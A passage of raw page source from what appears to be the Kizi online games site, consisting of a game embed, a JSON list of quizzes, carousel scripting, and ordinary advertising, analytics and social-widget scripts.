"http://kizi.com/api", loglevel: loglevel} params = {allowScriptAccess: "always", base: ".", quality: "high", wmode: "window"}; attributes = {id: "GameEmbedSWF", style: "z-index:1" }; if (flashvars.game_permalink == null || flashvars.game_permalink == "null") report_error("Game permalink is null!"); swfobject.embedSWF(swfURL, "GameEmbedDummy", game_final_width, game_final_height, "9.0.0", false, flashvars, params, attributes, game_swf_callback); </script><script> var quiz_started_at; var quiz_origin; var current_quiz; var thumbs_holder_height; var quiz_items_height; var thumbs_holder_width; var quiz_items_width; var prerollUnit = "Kizi_quiz_preroll_html5"; var thumbs_counter = 0; var right_pannel_width = 204; //204 = 180 activity box + 20 margin + 4 border var quizzes_list = [{"permalink":"bob-the-robber-sudoku","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Bob_Sudoku-1b42bd40863e3daff77494e9fa1deb90.png","title":"Bob The Robber Sudoku","game":"bob-the-robber-3","thumb150":"http://cdn1.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_BOB2-4089265e6e58d166c2d015467e4898fc.png","thumb300":"http://cdn1.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_BOB2-e3775be80dd12db3174f5719fca2aae9.png"},{"permalink":"fireboy-and-watergirl-maze-2","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Maze_FBWG3_240x180-7f70e222894446ae4f488087711446a0.png","title":"Fireboy and Watergirl maze 2","game":"fireboy-and-watergirl-the-forest-temple","thumb150":"http://cdn0.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_FBWG2-4a772977942e5d5ca2278f7a8f815219.png","thumb300":"http://cdn0.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_FBWG2-a0df1b3188e118806ec9b3f51ae2551a.png"},{"permalink":"fireboy-and-watergirl-maze","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Maze_FBWG1_240x180-3134e4bc45c8089f3daf1fc475e70276.png","title":"Fireboy and Watergirl maze","game":"fireboy-and-watergirl-the-forest-temple","thumb150":"http://cdn0.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_FBWG1-48130058b56a8695d57b1b1192cab458.png","thumb300":"http://cdn0.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_FBWG1-61fc9f4d4aee4eaf034d9e04b4a32a71.png"},{"permalink":"do-you-know-all-papa-louie-characters","height":640,"width":640,"format":"Gallery Quiz","thumb":"http://cdn0.kizi.com/assets/quiz/Papas_240x180_Q1-c1dffaf34178f9febde27da25394101c.png","title":"Do You Know Papa's Characters?","game":"papa-louie-3-when-sundaes-attack","thumb150":"http://cdn0.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_PL1-cf0a39154a18b51b67eca72209bcd431.png","thumb300":"http://cdn0.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_PL1-2020aee0eda5945cd2c7958a0e8c3d5a.png"},{"permalink":"papa-loui-characters-quiz","height":640,"width":640,"format":"Gallery Quiz","thumb":"http://cdn0.kizi.com/assets/quiz/Papas_240x180_Q2-5257917f3687ce70e01add459590fa3a.png","title":"Do You Know Papa's Characters?","game":"papa-louie-3-when-sundaes-attack","thumb150":"http://cdn0.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_PL2-d7553c0de19b3ce3768b10d15a2b2995.png","thumb300":"http://cdn0.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_PL2-d89aa107b11103c212bc9fae9fb35cb2.png"},{"permalink":"are-you-a-dynamons-master","height":640,"width":640,"format":"Gallery Quiz","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Game-c9290da663591012fb4d473e099f0434.png","title":"Guess the game","game":"kiziland","thumb150":"http://cdn0.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_Kizi1-0d03e9f60d07d239a733bf0cf32a6bd5.png","thumb300":"http://cdn0.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_Kizi1-b07844abd6470027b7ef6e1034dfc9a5.png"},{"permalink":"can-you-guess-the-food","height":640,"width":640,"format":"Gallery Quiz","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Food-aacac70901a77c6d1646c154443645ac.png","title":"Guess the food","game":"papas-freezeria"},{"permalink":"which-shape-is-missing","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_ShapeQuiz-297fa28438f0d82c9f0853440610b768.png","title":"Which shape is missing?","game":"kiziland"},{"permalink":"match-flip-quiz","height":640,"width":640,"format":"Flip Cards","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Matches-3a505ee78533efbeba1f8d8e8e7082cc.png","title":"Match equations","game":"kiziland"},{"permalink":"help-bob-find-the-code","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Bob_ColorCode-3c8ff55fc34152870ee2d820ce4bcc85.png","title":"Help Bob find the code","game":"bob-the-robber-3","thumb150":"http://cdn1.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_BOB1-29ff2fdde96db42d4884b3e89be12601.png","thumb300":"http://cdn1.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_BOB1-de3a14031d0a619661d15adf22b2295d.png"},{"permalink":"addition-and-subtraction-problems","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Math2-552366d02d17b63c71dba2b0a778bd46.png","title":"Addition and subtraction problems","game":"kiziland"},{"permalink":"advanced-math-riddles","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Math3-b68531e3276b52fc06a1ab1bda4f4266.png","title":"Advanced math riddles","game":"kiziland"},{"permalink":"math-problems","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Math4-6ad8021acf7255cbbe6b5d82e4de4ed6.png","title":"Math problems","game":"kiziland"},{"permalink":"a-which-way-should-kizi-go","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Maze-bcf4cf34aa8557cc4232f85d7f3b05ae.png","title":"Which way should Kizi go?","game":"kiziland"},{"permalink":"b-can-you-solve-this-problem","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Math-cae16c45dd9271b1cc24d63bfd8165af.png","title":"Math riddles","game":"kiziland"},{"permalink":"c-which-kizi-is-different","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_different-990c9ca86b749021aabb3f5a64b46e92.png","title":"Which Kizi is different?","game":"kiziland"},{"permalink":"which-dynamons-is-different","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Dyno-different-0deb1cdb1aee2cd9e73549eeb44e5653.png","title":"Which Dynamons is different?","game":"dynamons-world"},{"permalink":"dynamons-sudoku","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Sudoku-0b0fc0cc64df2c14e10bb78126282d5b.png","title":"Dynamons Sudoku","game":"dynamons-world","thumb150":"http://cdn1.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_DYN3-16759f14b3c8e186a33e98dc57871446.png","thumb300":"http://cdn1.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_DYN3-85013dfff0d7354d7b5b2f8d06302775.png"},{"permalink":"dynamons-shadow-quiz-1","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Dyno-shadow1-b4323c5f018ee52fcb3ff3f4bab8e220.png","title":"Dynamons Shadow Quiz 1","game":"dynamons-world","thumb150":"http://cdn1.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_DYN1-63fdb2172636b760514009996cac7920.png","thumb300":"http://cdn1.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_DYN1-bb6897f74ac046ca2ce19af5c8d17917.png"},{"permalink":"dynamons-shadow-quiz-2","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Dyno-shadow2-0ef85aed5de8b5ba790bf6011b914250.png","title":"Dynamons Shadow Quiz 2","game":"dynamons-world"},{"permalink":"kiziland-shadow-quiz-1","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_kiziland-shadow1-df5c3db3e5835356830ee1bd1b495325.png","title":"Kiziland Shadow Quiz 1","game":"kiziland"},{"permalink":"kiziland-shadow-quiz-2","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_kiziland-shadow2-d6e77d4c3970d910399a31fa0a134e3a.png","title":"Kiziland Shadow Quiz 2","game":"kiziland"},{"permalink":"which-piece-is-missing","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Missing-cbfba4b70000fd4796712b55755db57d.png","title":"Which piece is missing?","game":"kiziland"},{"permalink":"what-comes-next","height":640,"width":640,"format":"Flip Cards","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Next-7108b37ae3add2a1d2c432d9c5604f69.png","title":"What comes next ?","game":"kiziland"},{"permalink":"which-kizi-are-you","height":640,"width":640,"format":"Personality Quiz","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Which-90543fd5aa2cf2233fae5d58dab0cd82.png","title":"Which Kizi are you?","game":"kiziland"}]; $(window).ready(function () { var quiz_items_holder = $("#quiz_strip div#quiz_items"); var link_target = (page_type == 'quiz') ? '_self' : '_blank'; var quizzes_list_title = (page_type == 'game') ? 'Fun activities' : 'More quizzes'; $('#quiz_strip').find('h1 div').after(quizzes_list_title); $.each(quizzes_list, function(i, elem) { if(typeof(current_permalink) != 'undefined' && current_permalink == elem.permalink) { return true; } thumbs_counter += 1; var quiz_link = $("<a/>", { href: '/quizzes/' + elem.permalink, elem_id: i, target: link_target }).css({background:"url(" + elem.thumb + ") no-repeat"}); var quiz_item = $("<div/>", {class: "quiz_item fl"}); quiz_item.append(quiz_link) quiz_items_holder.append(quiz_item) }); thumbs_holder_width = game_strip_width - ($("#quiz_strip #quiz_arrow_left").outerWidth(true) * 2); quiz_items_width = ((thumbs_counter - 1) * $("#quiz_strip .quiz_item:eq(1)").outerWidth(true)) + $("#quiz_strip .quiz_item:eq(0)").outerWidth(true) + 4; $("#quiz_strip .quiz_thumbs_holder").width(thumbs_holder_width); $("#quiz_strip #quiz_items").width(quiz_items_width); $("#quiz_strip .sub_box_body").mCustomScrollbar({ horizontalScroll: true, mouseWheelPixels: 300, scrollButtons: { enable: true }, callbacks:{ whileScrolling: function() { var left = $("#quiz_strip .mCSB_container").position().left if(left > -20) { $("#quiz_strip #quiz_arrow_left div").addClass("arrow_left_disabled"); } else { $("#quiz_strip #quiz_arrow_left div").removeClass("arrow_left_disabled"); } if(left * -1 + thumbs_holder_width + 20 > quiz_items_width) { $("#quiz_strip #quiz_arrow_right div").addClass("arrow_right_disabled"); } else { $("#quiz_strip #quiz_arrow_right div").removeClass("arrow_right_disabled"); } } } }); $("#quiz_strip #quiz_arrow_right").click(function () { $("#quiz_strip .sub_box_body").mCustomScrollbar("scrollTo", parseInt($("#quiz_strip .mCSB_container").css("left")) * -1 + $("#quiz_strip .sub_box_body").width()); }); $("#quiz_strip #quiz_arrow_left").click(function () { $("#quiz_strip .sub_box_body").mCustomScrollbar("scrollTo", parseInt($("#quiz_strip .mCSB_container").css("left")) * -1 - $("#quiz_strip .sub_box_body").width()); }); $("#quiz_strip .quiz_item").click(function (event) { if(page_type == 'game') { createCookie('quiz_origin', 'Gamepage'); } else { createCookie('quiz_origin', 'MoreQuizzes'); } }); }); </script><script type="text/javascript"> /* <![CDATA[ */ var google_conversion_id = 1062041628; var google_conversion_language = "en"; var google_conversion_format = "3"; var google_conversion_color = "666666"; var google_conversion_label = "sfmyCIywkgIQnPC1-gM"; var google_conversion_value = 0; /* ]]> */ </script><script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"> </script><script type="text/javascript"> /* <![CDATA[ */ var google_conversion_id = 1062041628; var google_conversion_language = "en"; var google_conversion_format = "3"; var google_conversion_color = "ffffff"; var google_conversion_label = "ohbiCITEkQMQnPC1-gM"; var google_conversion_value = 0; /* ]]> */ </script><script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"> </script><script type="text/javascript"> /* <![CDATA[ */ var google_conversion_id = 1062041628; var google_conversion_language = "en"; var google_conversion_format = "3"; var google_conversion_color = "ffffff"; var google_conversion_label = "gZLxCPTFkQMQnPC1-gM"; var google_conversion_value = 0; /* ]]> */ </script><script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"> </script><script type="text/javascript"> // display relevant ad slots layout_object.all_banners.forEach(function(banner_name) { var div_id = layout_object.get_ad_div_id(banner_name); var size = layout_object.extract_ad_size(banner_name); // check if custom code for this ad unit exists if ($.find("#CODE_FOR_"+banner_name).length > 0) { var script = document.createElement("script"); script.innerHTML = $("#CODE_FOR_"+banner_name).html(); $("#" + div_id).append(script).width(size[0]).height(size[1]).attr({"data-banner-name": ("kizi_" + banner_name)}); } else { if (!openx_enabled){ // Default DFP call // (also setting width and height to avoid a 'jump' in layout when the ad content is loaded) $("#" + div_id).append("<script>googletag.cmd.push(function() {googletag.display('" + div_id + "');});<\/script>").width(size[0]).height(size[1]).attr({"data-banner-name": ("kizi_" + banner_name)}); }else{ // Default DFP call // (also setting width and height to avoid a 'jump' in layout when the ad content is loaded) $("#" + div_id).width(size[0]).height(size[1]).attr({"data-banner-name": ("kizi_" + banner_name)}); } } }); if (openx_enabled){ oxBidRequestPromise.then(function (bids) { console.log('get bids response', bids); googletag.cmd.push(function () { ad_slots.forEach(function (slot) { oxhbjs.setOxTargetingForGoogletagSlot(slot, bids); }); layout_object.all_banners.forEach(function(banner_name) { var div_id = layout_object.get_ad_div_id(banner_name); googletag.display(div_id); }); googletag.display('div-gpt-ad-1421239811025-0'); }); }); } </script><script type="text/javascript"> if (is_html5_game || flash_supported()) { showPreRoll(ad_width, ad_height, ad_mode); } </script><script type="text/javascript"> var google_tag_params = { dynx_itemid: "19", dynx_pagetype: 'home' }; </script><script type="text/javascript"> /* <![CDATA[ */ var google_conversion_id = 882084325; var google_custom_params = window.google_tag_params; var google_remarketing_only = true; /* ]]> */ </script><script type="text/javascript" src="//www.googleadservices.com/pagead/conversion.js"> </script><script type="text/javascript"> $(window).ready(function () { $('#install_wrapper').show(); $('#install_wrapper').hover(function() { $(this).children('div').show('slow'); }, function(){ $(this).children('div').hide().stop(true, true); }); if ($(document).width() < 1260) { $("#game_header_container").addClass("narrow_screen"); } // send event if walkthrough button is clicked $('#walkthrough_btn').on('click', function() { ga('send', { hitType: 'event', eventCategory: 'Games', eventAction: 'Walkthrough', eventLabel: document.location.href }); }) // fullscreen logic $("#game_user_info_box_container").replaceWith("<div id=\"game_user_info_box_container\">\n\n <div id=\"user_avatar_thumb\" style=\'cursor: pointer;position: relative;\'>\n\n <a href=\"#\" title=\"Sign Up\" onclick=\"open_join_kizi_popup()\">\n\n <img alt=\"Missing_avatar_medium\" id=\"user_image\" src=\"http://cdn0.kizi.com/assets/avatars/missing_avatar_medium-392dc8ea63046044f92b68fae656614d.png\" />\n <\/a>\n <\/div>\n\n <div class=\"name_and_xp\">\n <div class=\"fl user_box_white_text\" style=\"text-align: left;line-height: 27px;font-size: 15px;\">\n <div style=\"width:80px\">Guest<\/div>\n <\/div>\n\n <div class=\"clr\"><\/div>\n <div id=\"usr_exp_bar\">\n <div style=\"width:98%;\">\n <div id=\"exp_user_level\">Level 1<\/div>\n <div id=\"exp_bar_fill\">\n <\/div>\n <\/div>\n <\/div>\n <script>\n animate_xp_bar(Math.round(0.0));\n <\/script>\n\n <\/div>\n\n\n\n <div id=\"coins_container\">\n <img alt=\"Coins\" class=\"fl\" onclick=\"purchaseCoins()\" src=\"http://cdn0.kizi.com/assets/collections/coins-b0c4a9e2dd40550e61f8ead802d16d6a.png\" style=\"margin:9px 0 0 3px;cursor: pointer;\" />\n <div id=\"coins_counter\" class=\"kizi_font coins_counter\">\n <div class=\"counter_cell\"><\/div>\n <div class=\"counter_cell\"><\/div>\n <div class=\"counter_cell\"><\/div>\n <div class=\"counter_cell\"><\/div>\n <div class=\"counter_cell\"><\/div>\n <div class=\"counter_cell\"><\/div>\n <div class=\"counter_cell\" style=\"border-right: none\"><\/div>\n <\/div>\n <\/div>\n <div id=\"get_coins_homepage\" onclick=\"purchaseCoins()\">\n <img src=\"http://cdn0.kizi.com/assets/collections/add_coins-64cadcd2c044bd9d071dbad85b5f26f5.png\" style=\"margin-top:11px\" />\n <div id=\"mini_games_notifications\" style=\"display: none;top: 0;right: -4px\"><\/div>\n <\/div>\n\n\n\n\n <div class=\"signup kizi_font prevent_select\" onclick=\"open_join_kizi_popup()\">Sign Up<\/div>\n <div class=\"login kizi_font prevent_select\" onclick=\"open_login_popup()\">Login<\/div>\n\n\n <div style=\"display:none\" id=\"kizi_popups\"><\/div>\n\n<\/div>\n\n<script type=\"text/javascript\">\n current_coins_amount = 8000;\n animate_counter(current_coins_amount);\n\n function add_coins(delta) {\n current_coins_amount += delta;\n animate_counter(current_coins_amount);\n }\n\n function update_coins(value) {\n current_coins_amount = value;\n animate_counter(current_coins_amount);\n }\n\n function update_xp_progression(progression) {\n animate_xp_bar(Math.round(progression));\n }\n\n function update_level(new_level) {\n $(\"#usr_exp_bar\").css({width: $(\"#usr_exp_bar\").width() + \"px\"});//this fixes weird explorer bug of 2 line xp bar\n $(\"#exp_user_level\").html(\"Level \" + new_level)\n }\n<\/script>\n"); //Cookies Consent if($.jStorage.get("cookie_aware_client") == 'false') { $.jStorage.set("cookie_aware_client", 'true'); } RatingBox.initialize("", 2311594, 344268); }); window_focused = true; $(window).focus(function () { window_focused = true; }).blur(function () { window_focused = false; }) </script><script type="text/javascript"> var current_game_play_number = increment_local_gameplay_count_in_last_24h(); </script><script type="text/javascript"> $("#language_box_footer .flag_container").mouseenter(function () { $("#language_box_footer .flag_selector").show() }); $("#language_box_footer").mouseleave(function () { $("#language_box_footer .flag_selector").hide() }); </script><script src="https://apis.google.com/js/platform.js"></script><script type='text/javascript'> $(window).load(function () { setTimeout(function () { $("#facebook_like").show().html('<iframe src="//www.facebook.com/plugins/like.php?href=http%3A%2F%2Ffacebook.com%2Fkizi&amp;send=false&amp;layout=button_count&amp;width=90&amp;show_faces=false&amp;font&amp;colorscheme=light&amp;action=like&amp;height=21&amp;appId=144148175670416&amp;locale=en_US" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:90px; height:21px;margin-top:5px;" allowTransparency="true"></iframe>'); }, 2000); }); var googletag = googletag || {}; googletag.cmd = googletag.cmd || []; (function() { var gads = document.createElement('script'); gads.async = true; gads.type = 'text/javascript'; var useSSL = 'https:' == document.location.protocol; gads.src = (useSSL ? 'https:' : 'http:') + '//www.googletagservices.com/tag/js/gpt.js'; var node = document.getElementsByTagName('script')[0]; node.parentNode.insertBefore(gads, node); })(); </script><script data-cfasync='false' type='text/javascript'> window.apd_options = { 'websiteId': 6731, 'runFromFrame': false }; (function() { var w = window.apd_options.runFromFrame ? window.top : window; if(window.apd_options.runFromFrame && w!=window.parent) w=window.parent; if (w.location.hash.indexOf('apdAdmin') != -1){if(typeof(Storage) !== 'undefined') {w.localStorage.apdAdmin = 1;}} var adminMode = ((typeof(Storage) == 'undefined') || (w.localStorage.apdAdmin == 1)); w.apd_options=window.apd_options; var apd = w.document.createElement('script'); apd.type = 'text/javascript'; apd.async = true; apd.src = '//' + (adminMode ? 'cdn' : 'ecdn') + '.firstimpression.io/' + (adminMode ? 'fi.js?id=' + window.apd_options.websiteId : 'fi_client.js') ; var s = w.document.getElementsByTagName('head')[0]; s.appendChild(apd); })();</script>